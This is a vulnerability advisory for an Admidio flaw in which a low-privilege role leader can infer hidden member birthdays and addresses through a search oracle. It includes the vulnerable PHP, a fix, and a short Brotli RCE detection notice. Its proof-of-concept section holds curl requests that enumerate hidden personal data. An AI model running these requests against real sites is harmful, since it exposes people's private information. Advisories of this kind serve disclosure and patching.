New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-41659

NVDCIRCLENISA

EUVD-2026-28270 · Published Apr 29, 2026

Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment

Summary

The member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.

Details

The search columns are hardcoded at modules/groups-roles/members_assignment_data.php:118-126:

$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
    'COALESCE(birthday, \' \')',    // hidden field - no visibility check
    'COALESCE(street, \' \')',      // hidden field - no visibility check
    'COALESCE(city, \' \')',        // hidden field - no visibility check
    'COALESCE(zip_code, \' \')',    // hidden field - no visibility check
    'COALESCE(country, \' \')'      // hidden field - no visibility check
);

These columns are concatenated into a SQL LIKE search at line 139:

$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) ';

The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on adm_user_data, and the search condition is applied as a subquery filter at lines 258-262:

$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...
      FROM (' . $mainSql . ') AS members
       ' . $searchCondition . $orderCondition . $limitCondition;

The output visibility checks at lines 291-335 correctly call $gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers()), which returns false when usf_hidden=1 and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.

The authorization check at line 77 uses allowedToAssignMembers() (src/Roles/Entity/Role.php:98-121), which passes for role leaders with ROLE_LEADER_MEMBERS_ASSIGN (value 1). These leaders do not have isAdministratorUsers() privileges, so isVisible() returns false for hidden fields — but the search still operates on them.

PoC

# Prerequisites:
# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights
# - BIRTHDAY field is configured as hidden (usf_hidden = 1)
# - Target role has a known UUID

# Step 1: Baseline - get all members without search filter
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D='

# Response: returns all users. Birthday column is NOT in output (hidden).
# Note recordsFiltered count.

# Step 2: Search for a specific birthday value
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'

# Response: only users whose hidden birthday matches "1990-03-15" appear.
# Birthday column is still NOT in output, but result set is filtered by it.
# User names (always visible) reveal which users have that birthday.

# Step 3: Enumerate hidden street addresses
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'

# Response: only users living at "123 Main St" appear in results.
# Address fields are hidden in output but the search matched against them.

Impact

A role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:

  • Birthdays — exact date of birth for any user
  • Street addresses — full street address
  • Cities and postal codes — location information
  • Countries — nationality/residence

This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and recordsFiltered count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.

Recommended Fix

Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:

$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
);

$isAdmin = $gCurrentUser->isAdministratorUsers();
if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(birthday, \' \')';
}
if ($gProfileFields->isVisible('STREET', $isAdmin)) {
    $searchColumns[] = 'COALESCE(street, \' \')';
}
if ($gProfileFields->isVisible('CITY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(city, \' \')';
}
if ($gProfileFields->isVisible('POSTCODE', $isAdmin)) {
    $searchColumns[] = 'COALESCE(zip_code, \' \')';
}
if ($gProfileFields->isVisible('COUNTRY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(country, \' \')';
}

This ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.

Technologies

Admidio Admidio

Weaknesses

CWE-200

CVSS scores

  • v3.12.7CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot